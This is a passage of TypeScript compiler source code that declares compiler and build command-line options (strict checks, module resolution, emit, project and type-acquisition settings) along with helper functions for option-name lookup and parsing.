        affectsProgramStructure: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Enable_lib_replacement,
        defaultValueDescription: true,
    },

    // Strict Type Checks
    {
        name: ""strict"",
        type: ""boolean"",
        // Though this affects semantic diagnostics, affectsSemanticDiagnostics is not set here
        // The value of each strictFlag depends on own strictFlag value or this and never accessed directly.
        // But we need to store `strict` in builf info, even though it won't be examined directly, so that the
        // flags it controls (e.g. `strictNullChecks`) will be retrieved correctly
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Enable_all_strict_type_checking_options,
        defaultValueDescription: false,
    },
    {
        name: ""noImplicitAny"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Enable_error_reporting_for_expressions_and_declarations_with_an_implied_any_type,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""strictNullChecks"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.When_type_checking_take_into_account_null_and_undefined,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""strictFunctionTypes"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.When_assigning_functions_check_to_ensure_parameters_and_the_return_values_are_subtype_compatible,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""strictBindCallApply"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Check_that_the_arguments_for_bind_call_and_apply_methods_match_the_original_function,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""strictPropertyInitialization"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Check_for_class_properties_that_are_declared_but_not_set_in_the_constructor,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""strictBuiltinIteratorReturn"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Built_in_iterators_are_instantiated_with_a_TReturn_type_of_undefined_instead_of_any,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""noImplicitThis"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Enable_error_reporting_when_this_is_given_the_type_any,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""useUnknownInCatchVariables"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Default_catch_clause_variables_as_unknown_instead_of_any,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },
    {
        name: ""alwaysStrict"",
        type: ""boolean"",
        affectsSourceFile: true,
        affectsEmit: true,
        affectsBuildInfo: true,
        strictFlag: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Ensure_use_strict_is_always_emitted,
        defaultValueDescription: Diagnostics.false_unless_strict_is_set,
    },

    // Additional Checks
    {
        name: ""noUnusedLocals"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Enable_error_reporting_when_local_variables_aren_t_read,
        defaultValueDescription: false,
    },
    {
        name: ""noUnusedParameters"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Raise_an_error_when_a_function_parameter_isn_t_read,
        defaultValueDescription: false,
    },
    {
        name: ""exactOptionalPropertyTypes"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Interpret_optional_property_types_as_written_rather_than_adding_undefined,
        defaultValueDescription: false,
    },
    {
        name: ""noImplicitReturns"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Enable_error_reporting_for_codepaths_that_do_not_explicitly_return_in_a_function,
        defaultValueDescription: false,
    },
    {
        name: ""noFallthroughCasesInSwitch"",
        type: ""boolean"",
        affectsBindDiagnostics: true,
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Enable_error_reporting_for_fallthrough_cases_in_switch_statements,
        defaultValueDescription: false,
    },
    {
        name: ""noUncheckedIndexedAccess"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Add_undefined_to_a_type_when_accessed_using_an_index,
        defaultValueDescription: false,
    },
    {
        name: ""noImplicitOverride"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Ensure_overriding_members_in_derived_classes_are_marked_with_an_override_modifier,
        defaultValueDescription: false,
    },
    {
        name: ""noPropertyAccessFromIndexSignature"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        showInSimplifiedHelpView: false,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Enforces_using_indexed_accessors_for_keys_declared_using_an_indexed_type,
        defaultValueDescription: false,
    },

    // Module Resolution
    {
        name: ""moduleResolution"",
        type: new Map(Object.entries({
            // N.B. The first entry specifies the value shown in `tsc --init`
            node10: ModuleResolutionKind.Node10,
            node: ModuleResolutionKind.Node10,
            classic: ModuleResolutionKind.Classic,
            node16: ModuleResolutionKind.Node16,
            nodenext: ModuleResolutionKind.NodeNext,
            bundler: ModuleResolutionKind.Bundler,
        })),
        deprecatedKeys: new Set([""node""]),
        affectsSourceFile: true,
        affectsModuleResolution: true,
        paramType: Diagnostics.STRATEGY,
        category: Diagnostics.Modules,
        description: Diagnostics.Specify_how_TypeScript_looks_up_a_file_from_a_given_module_specifier,
        defaultValueDescription: Diagnostics.module_AMD_or_UMD_or_System_or_ES6_then_Classic_Otherwise_Node,
    },
    {
        name: ""baseUrl"",
        type: ""string"",
        affectsModuleResolution: true,
        isFilePath: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Specify_the_base_directory_to_resolve_non_relative_module_names,
    },
    {
        // this option can only be specified in tsconfig.json
        // use type = object to copy the value as-is
        name: ""paths"",
        type: ""object"",
        affectsModuleResolution: true,
        allowConfigDirTemplateSubstitution: true,
        isTSConfigOnly: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Specify_a_set_of_entries_that_re_map_imports_to_additional_lookup_locations,
        transpileOptionValue: undefined,
    },
    {
        // this option can only be specified in tsconfig.json
        // use type = object to copy the value as-is
        name: ""rootDirs"",
        type: ""list"",
        isTSConfigOnly: true,
        element: {
            name: ""rootDirs"",
            type: ""string"",
            isFilePath: true,
        },
        affectsModuleResolution: true,
        allowConfigDirTemplateSubstitution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Allow_multiple_folders_to_be_treated_as_one_when_resolving_modules,
        transpileOptionValue: undefined,
        defaultValueDescription: Diagnostics.Computed_from_the_list_of_input_files,
    },
    {
        name: ""typeRoots"",
        type: ""list"",
        element: {
            name: ""typeRoots"",
            type: ""string"",
            isFilePath: true,
        },
        affectsModuleResolution: true,
        allowConfigDirTemplateSubstitution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Specify_multiple_folders_that_act_like_Slashnode_modules_Slash_types,
    },
    {
        name: ""types"",
        type: ""list"",
        element: {
            name: ""types"",
            type: ""string"",
        },
        affectsProgramStructure: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Specify_type_package_names_to_be_included_without_being_referenced_in_a_source_file,
        transpileOptionValue: undefined,
    },
    {
        name: ""allowSyntheticDefaultImports"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Allow_import_x_from_y_when_a_module_doesn_t_have_a_default_export,
        defaultValueDescription: Diagnostics.module_system_or_esModuleInterop,
    },
    {
        name: ""esModuleInterop"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsEmit: true,
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Emit_additional_JavaScript_to_ease_support_for_importing_CommonJS_modules_This_enables_allowSyntheticDefaultImports_for_type_compatibility,
        defaultValueDescription: false,
    },
    {
        name: ""preserveSymlinks"",
        type: ""boolean"",
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Disable_resolving_symlinks_to_their_realpath_This_correlates_to_the_same_flag_in_node,
        defaultValueDescription: false,
    },
    {
        name: ""allowUmdGlobalAccess"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Allow_accessing_UMD_globals_from_modules,
        defaultValueDescription: false,
    },
    {
        name: ""moduleSuffixes"",
        type: ""list"",
        element: {
            name: ""suffix"",
            type: ""string"",
        },
        listPreserveFalsyValues: true,
        affectsModuleResolution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.List_of_file_name_suffixes_to_search_when_resolving_a_module,
    },
    {
        name: ""allowImportingTsExtensions"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Allow_imports_to_include_TypeScript_file_extensions_Requires_moduleResolution_bundler_and_either_noEmit_or_emitDeclarationOnly_to_be_set,
        defaultValueDescription: false,
        transpileOptionValue: undefined,
    },
    {
        name: ""rewriteRelativeImportExtensions"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Rewrite_ts_tsx_mts_and_cts_file_extensions_in_relative_import_paths_to_their_JavaScript_equivalent_in_output_files,
        defaultValueDescription: false,
    },
    {
        name: ""resolvePackageJsonExports"",
        type: ""boolean"",
        affectsModuleResolution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Use_the_package_json_exports_field_when_resolving_package_imports,
        defaultValueDescription: Diagnostics.true_when_moduleResolution_is_node16_nodenext_or_bundler_otherwise_false,
    },
    {
        name: ""resolvePackageJsonImports"",
        type: ""boolean"",
        affectsModuleResolution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Use_the_package_json_imports_field_when_resolving_imports,
        defaultValueDescription: Diagnostics.true_when_moduleResolution_is_node16_nodenext_or_bundler_otherwise_false,
    },
    {
        name: ""customConditions"",
        type: ""list"",
        element: {
            name: ""condition"",
            type: ""string"",
        },
        affectsModuleResolution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Conditions_to_set_in_addition_to_the_resolver_specific_defaults_when_resolving_imports,
    },
    {
        name: ""noUncheckedSideEffectImports"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Check_side_effect_imports,
        defaultValueDescription: false,
    },

    // Source Maps
    {
        name: ""sourceRoot"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        paramType: Diagnostics.LOCATION,
        category: Diagnostics.Emit,
        description: Diagnostics.Specify_the_root_path_for_debuggers_to_find_the_reference_source_code,
    },
    {
        name: ""mapRoot"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        paramType: Diagnostics.LOCATION,
        category: Diagnostics.Emit,
        description: Diagnostics.Specify_the_location_where_debugger_should_locate_map_files_instead_of_generated_locations,
    },
    {
        name: ""inlineSources"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Include_source_code_in_the_sourcemaps_inside_the_emitted_JavaScript,
        defaultValueDescription: false,
    },

    // Experimental
    {
        name: ""experimentalDecorators"",
        type: ""boolean"",
        affectsEmit: true,
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Enable_experimental_support_for_legacy_experimental_decorators,
        defaultValueDescription: false,
    },
    {
        name: ""emitDecoratorMetadata"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Emit_design_type_metadata_for_decorated_declarations_in_source_files,
        defaultValueDescription: false,
    },

    // Advanced
    {
        name: ""jsxFactory"",
        type: ""string"",
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Specify_the_JSX_factory_function_used_when_targeting_React_JSX_emit_e_g_React_createElement_or_h,
        defaultValueDescription: ""`React.createElement`"",
    },
    {
        name: ""jsxFragmentFactory"",
        type: ""string"",
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Specify_the_JSX_Fragment_reference_used_for_fragments_when_targeting_React_JSX_emit_e_g_React_Fragment_or_Fragment,
        defaultValueDescription: ""React.Fragment"",
    },
    {
        name: ""jsxImportSource"",
        type: ""string"",
        affectsSemanticDiagnostics: true,
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsModuleResolution: true,
        affectsSourceFile: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Specify_module_specifier_used_to_import_the_JSX_factory_functions_when_using_jsx_Colon_react_jsx_Asterisk,
        defaultValueDescription: ""react"",
    },
    {
        name: ""resolveJsonModule"",
        type: ""boolean"",
        affectsModuleResolution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Enable_importing_json_files,
        defaultValueDescription: false,
    },
    {
        name: ""allowArbitraryExtensions"",
        type: ""boolean"",
        affectsProgramStructure: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Enable_importing_files_with_any_extension_provided_a_declaration_file_is_present,
        defaultValueDescription: false,
    },

    {
        name: ""out"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsDeclarationPath: true,
        isFilePath: false, // This is intentionally broken to support compatibility with existing tsconfig files
        // for correct behaviour, please use outFile
        category: Diagnostics.Backwards_Compatibility,
        paramType: Diagnostics.FILE,
        transpileOptionValue: undefined,
        description: Diagnostics.Deprecated_setting_Use_outFile_instead,
    },
    {
        name: ""reactNamespace"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Specify_the_object_invoked_for_createElement_This_only_applies_when_targeting_react_JSX_emit,
        defaultValueDescription: ""`React`"",
    },
    {
        name: ""skipDefaultLibCheck"",
        type: ""boolean"",
        // We need to store these to determine whether `lib` files need to be rechecked
        affectsBuildInfo: true,
        category: Diagnostics.Completeness,
        description: Diagnostics.Skip_type_checking_d_ts_files_that_are_included_with_TypeScript,
        defaultValueDescription: false,
    },
    {
        name: ""charset"",
        type: ""string"",
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.No_longer_supported_In_early_versions_manually_set_the_text_encoding_for_reading_files,
        defaultValueDescription: ""utf8"",
    },
    {
        name: ""emitBOM"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Emit_a_UTF_8_Byte_Order_Mark_BOM_in_the_beginning_of_output_files,
        defaultValueDescription: false,
    },
    {
        name: ""newLine"",
        type: new Map(Object.entries({
            crlf: NewLineKind.CarriageReturnLineFeed,
            lf: NewLineKind.LineFeed,
        })),
        affectsEmit: true,
        affectsBuildInfo: true,
        paramType: Diagnostics.NEWLINE,
        category: Diagnostics.Emit,
        description: Diagnostics.Set_the_newline_character_for_emitting_files,
        defaultValueDescription: ""lf"",
    },
    {
        name: ""noErrorTruncation"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Output_Formatting,
        description: Diagnostics.Disable_truncating_types_in_error_messages,
        defaultValueDescription: false,
    },
    {
        name: ""noLib"",
        type: ""boolean"",
        category: Diagnostics.Language_and_Environment,
        affectsProgramStructure: true,
        description: Diagnostics.Disable_including_any_library_files_including_the_default_lib_d_ts,
        // We are not returning a sourceFile for lib file when asked by the program,
        // so pass --noLib to avoid reporting a file not found error.
        transpileOptionValue: true,
        defaultValueDescription: false,
    },
    {
        name: ""noResolve"",
        type: ""boolean"",
        affectsModuleResolution: true,
        category: Diagnostics.Modules,
        description: Diagnostics.Disallow_import_s_require_s_or_reference_s_from_expanding_the_number_of_files_TypeScript_should_add_to_a_project,
        // We are not doing a full typecheck, we are not resolving the whole context,
        // so pass --noResolve to avoid reporting missing file errors.
        transpileOptionValue: true,
        defaultValueDescription: false,
    },
    {
        name: ""stripInternal"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Disable_emitting_declarations_that_have_internal_in_their_JSDoc_comments,
        defaultValueDescription: false,
    },
    {
        name: ""disableSizeLimit"",
        type: ""boolean"",
        affectsProgramStructure: true,
        category: Diagnostics.Editor_Support,
        description: Diagnostics.Remove_the_20mb_cap_on_total_source_code_size_for_JavaScript_files_in_the_TypeScript_language_server,
        defaultValueDescription: false,
    },
    {
        name: ""disableSourceOfProjectReferenceRedirect"",
        type: ""boolean"",
        isTSConfigOnly: true,
        category: Diagnostics.Projects,
        description: Diagnostics.Disable_preferring_source_files_instead_of_declaration_files_when_referencing_composite_projects,
        defaultValueDescription: false,
    },
    {
        name: ""disableSolutionSearching"",
        type: ""boolean"",
        isTSConfigOnly: true,
        category: Diagnostics.Projects,
        description: Diagnostics.Opt_a_project_out_of_multi_project_reference_checking_when_editing,
        defaultValueDescription: false,
    },
    {
        name: ""disableReferencedProjectLoad"",
        type: ""boolean"",
        isTSConfigOnly: true,
        category: Diagnostics.Projects,
        description: Diagnostics.Reduce_the_number_of_projects_loaded_automatically_by_TypeScript,
        defaultValueDescription: false,
    },
    {
        name: ""noImplicitUseStrict"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.Disable_adding_use_strict_directives_in_emitted_JavaScript_files,
        defaultValueDescription: false,
    },
    {
        name: ""noEmitHelpers"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Disable_generating_custom_helper_functions_like_extends_in_compiled_output,
        defaultValueDescription: false,
    },
    {
        name: ""noEmitOnError"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        transpileOptionValue: undefined,
        description: Diagnostics.Disable_emitting_files_if_any_type_checking_errors_are_reported,
        defaultValueDescription: false,
    },
    {
        name: ""preserveConstEnums"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Disable_erasing_const_enum_declarations_in_generated_code,
        defaultValueDescription: false,
    },
    {
        name: ""declarationDir"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsDeclarationPath: true,
        isFilePath: true,
        paramType: Diagnostics.DIRECTORY,
        category: Diagnostics.Emit,
        transpileOptionValue: undefined,
        description: Diagnostics.Specify_the_output_directory_for_generated_declaration_files,
    },
    {
        name: ""skipLibCheck"",
        type: ""boolean"",
        // We need to store these to determine whether `lib` files need to be rechecked
        affectsBuildInfo: true,
        category: Diagnostics.Completeness,
        description: Diagnostics.Skip_type_checking_all_d_ts_files,
        defaultValueDescription: false,
    },
    {
        name: ""allowUnusedLabels"",
        type: ""boolean"",
        affectsBindDiagnostics: true,
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Disable_error_reporting_for_unused_labels,
        defaultValueDescription: undefined,
    },
    {
        name: ""allowUnreachableCode"",
        type: ""boolean"",
        affectsBindDiagnostics: true,
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Type_Checking,
        description: Diagnostics.Disable_error_reporting_for_unreachable_code,
        defaultValueDescription: undefined,
    },
    {
        name: ""suppressExcessPropertyErrors"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.Disable_reporting_of_excess_property_errors_during_the_creation_of_object_literals,
        defaultValueDescription: false,
    },
    {
        name: ""suppressImplicitAnyIndexErrors"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.Suppress_noImplicitAny_errors_when_indexing_objects_that_lack_index_signatures,
        defaultValueDescription: false,
    },
    {
        name: ""forceConsistentCasingInFileNames"",
        type: ""boolean"",
        affectsModuleResolution: true,
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Ensure_that_casing_is_correct_in_imports,
        defaultValueDescription: true,
    },
    {
        name: ""maxNodeModuleJsDepth"",
        type: ""number"",
        affectsModuleResolution: true,
        category: Diagnostics.JavaScript_Support,
        description: Diagnostics.Specify_the_maximum_folder_depth_used_for_checking_JavaScript_files_from_node_modules_Only_applicable_with_allowJs,
        defaultValueDescription: 0,
    },
    {
        name: ""noStrictGenericChecks"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.Disable_strict_checking_of_generic_signatures_in_function_types,
        defaultValueDescription: false,
    },
    {
        name: ""useDefineForClassFields"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Emit_ECMAScript_standard_compliant_class_fields,
        defaultValueDescription: Diagnostics.true_for_ES2022_and_above_including_ESNext,
    },
    {
        name: ""preserveValueImports"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.Preserve_unused_imported_values_in_the_JavaScript_output_that_would_otherwise_be_removed,
        defaultValueDescription: false,
    },

    {
        name: ""keyofStringsOnly"",
        type: ""boolean"",
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.Make_keyof_only_return_strings_instead_of_string_numbers_or_symbols_Legacy_option,
        defaultValueDescription: false,
    },
    {
        // A list of plugins to load in the language service
        name: ""plugins"",
        type: ""list"",
        isTSConfigOnly: true,
        element: {
            name: ""plugin"",
            type: ""object"",
        },
        description: Diagnostics.Specify_a_list_of_language_service_plugins_to_include,
        category: Diagnostics.Editor_Support,
    },
    {
        name: ""moduleDetection"",
        type: new Map(Object.entries({
            auto: ModuleDetectionKind.Auto,
            legacy: ModuleDetectionKind.Legacy,
            force: ModuleDetectionKind.Force,
        })),
        affectsSourceFile: true,
        affectsModuleResolution: true,
        description: Diagnostics.Control_what_method_is_used_to_detect_module_format_JS_files,
        category: Diagnostics.Language_and_Environment,
        defaultValueDescription: Diagnostics.auto_Colon_Treat_files_with_imports_exports_import_meta_jsx_with_jsx_Colon_react_jsx_or_esm_format_with_module_Colon_node16_as_modules,
    },
    {
        name: ""ignoreDeprecations"",
        type: ""string"",
        defaultValueDescription: undefined,
    },
];

// Do not delete this without updating the website's tsconfig generation.
/** @internal */
export const optionDeclarations: CommandLineOption[] = [
    ...commonOptionsWithBuild,
    ...commandOptionsWithoutBuild,
];

/** @internal */
export const semanticDiagnosticsOptionDeclarations: readonly CommandLineOption[] = optionDeclarations.filter(option => !!option.affectsSemanticDiagnostics);

/** @internal */
export const affectsEmitOptionDeclarations: readonly CommandLineOption[] = optionDeclarations.filter(option => !!option.affectsEmit);

/** @internal */
export const affectsDeclarationPathOptionDeclarations: readonly CommandLineOption[] = optionDeclarations.filter(option => !!option.affectsDeclarationPath);

/** @internal */
export const moduleResolutionOptionDeclarations: readonly CommandLineOption[] = optionDeclarations.filter(option => !!option.affectsModuleResolution);

/** @internal */
export const sourceFileAffectingCompilerOptions: readonly CommandLineOption[] = optionDeclarations.filter(option => !!option.affectsSourceFile || !!option.affectsBindDiagnostics);

/** @internal */
export const optionsAffectingProgramStructure: readonly CommandLineOption[] = optionDeclarations.filter(option => !!option.affectsProgramStructure);

/** @internal */
export const transpileOptionValueCompilerOptions: readonly CommandLineOption[] = optionDeclarations.filter(option => hasProperty(option, ""transpileOptionValue""));

const configDirTemplateSubstitutionOptions: readonly CommandLineOption[] = optionDeclarations.filter(
    option => option.allowConfigDirTemplateSubstitution || (!option.isCommandLineOnly && option.isFilePath),
);

const configDirTemplateSubstitutionWatchOptions: readonly CommandLineOption[] = optionsForWatch.filter(
    option => option.allowConfigDirTemplateSubstitution || (!option.isCommandLineOnly && option.isFilePath),
);

/** @internal */
export const commandLineOptionOfCustomType: readonly CommandLineOptionOfCustomType[] = optionDeclarations.filter(isCommandLineOptionOfCustomType);
function isCommandLineOptionOfCustomType(option: CommandLineOption): option is CommandLineOptionOfCustomType {
    return !isString(option.type);
}

/** @internal */
export const tscBuildOption: CommandLineOption = {
    name: ""build"",
    type: ""boolean"",
    shortName: ""b"",
    showInSimplifiedHelpView: true,
    category: Diagnostics.Command_line_Options,
    description: Diagnostics.Build_one_or_more_projects_and_their_dependencies_if_out_of_date,
    defaultValueDescription: false,
};

// Build related options
/** @internal */
export const optionsForBuild: CommandLineOption[] = [
    tscBuildOption,
    {
        name: ""verbose"",
        shortName: ""v"",
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Enable_verbose_logging,
        type: ""boolean"",
        defaultValueDescription: false,
    },
    {
        name: ""dry"",
        shortName: ""d"",
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Show_what_would_be_built_or_deleted_if_specified_with_clean,
        type: ""boolean"",
        defaultValueDescription: false,
    },
    {
        name: ""force"",
        shortName: ""f"",
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Build_all_projects_including_those_that_appear_to_be_up_to_date,
        type: ""boolean"",
        defaultValueDescription: false,
    },
    {
        name: ""clean"",
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Delete_the_outputs_of_all_projects,
        type: ""boolean"",
        defaultValueDescription: false,
    },
    {
        name: ""stopBuildOnErrors"",
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Skip_building_downstream_projects_on_error_in_upstream_project,
        type: ""boolean"",
        defaultValueDescription: false,
    },
];

/** @internal */
export const buildOpts: CommandLineOption[] = [
    ...commonOptionsWithBuild,
    ...optionsForBuild,
];

// Do not delete this without updating the website's tsconfig generation.
/** @internal */
export const typeAcquisitionDeclarations: CommandLineOption[] = [
    {
        name: ""enable"",
        type: ""boolean"",
        defaultValueDescription: false,
    },
    {
        name: ""include"",
        type: ""list"",
        element: {
            name: ""include"",
            type: ""string"",
        },
    },
    {
        name: ""exclude"",
        type: ""list"",
        element: {
            name: ""exclude"",
            type: ""string"",
        },
    },
    {
        name: ""disableFilenameBasedTypeAcquisition"",
        type: ""boolean"",
        defaultValueDescription: false,
    },
];

/** @internal */
export interface OptionsNameMap {
    optionsNameMap: Map<string, CommandLineOption>;
    shortOptionNames: Map<string, string>;
}

/** @internal */
export function createOptionNameMap(optionDeclarations: readonly CommandLineOption[]): OptionsNameMap {
    const optionsNameMap = new Map<string, CommandLineOption>();
    const shortOptionNames = new Map<string, string>();
    forEach(optionDeclarations, option => {
        optionsNameMap.set(option.name.toLowerCase(), option);
        if (option.shortName) {
            shortOptionNames.set(option.shortName, option.name);
        }
    });

    return { optionsNameMap, shortOptionNames };
}

let optionsNameMapCache: OptionsNameMap;

/** @internal */
export function getOptionsNameMap(): OptionsNameMap {
    return optionsNameMapCache ||= createOptionNameMap(optionDeclarations);
}

const compilerOptionsAlternateMode: AlternateModeDiagnostics = {
    diagnostic: Diagnostics.Compiler_option_0_may_only_be_used_with_build,
    getOptionsNameMap: getBuildOptionsNameMap,
};

// Do not delete this without updating the website's tsconfig generation.
/** @internal @knipignore */
export const defaultInitCompilerOptions: CompilerOptions = {
    module: ModuleKind.CommonJS,
    target: ScriptTarget.ES2016,
    strict: true,
    esModuleInterop: true,
    forceConsistentCasingInFileNames: true,
    skipLibCheck: true,
};

/** @internal */
export function createCompilerDiagnosticForInvalidCustomType(opt: CommandLineOptionOfCustomType): Diagnostic {
    return createDiagnosticForInvalidCustomType(opt, createCompilerDiagnostic);
}

function createDiagnosticForInvalidCustomType(opt: CommandLineOptionOfCustomType, createDiagnostic: (message: DiagnosticMessage, ...args: DiagnosticArguments) => Diagnostic): Diagnostic {
    const namesOfType = arrayFrom(opt.type.keys());
    const stringNames = (opt.deprecatedKeys ? namesOfType.filter(k => !opt.deprecatedKeys!.has(k)) : namesOfType).map(key => `'${key}'`).join("", "");
    return createDiagnostic(Diagnostics.Argument_for_0_option_must_be_Colon_1, `--${opt.name}`, stringNames);
}

/** @internal */
export function parseCustomTypeOption(opt: CommandLineOptionOfCustomType, value: string | undefined, errors: Diagnostic[]): string | number | undefined {
    return convertJsonOptionOfCustomType(opt, (value ?? """").trim(), errors);
}

/** @internal */
export function parseListTypeOption(opt: CommandLineOptionOfListType, value = """", errors: Diagnostic[]): string | (string | number)[] | undefined {
    value = value.trim();
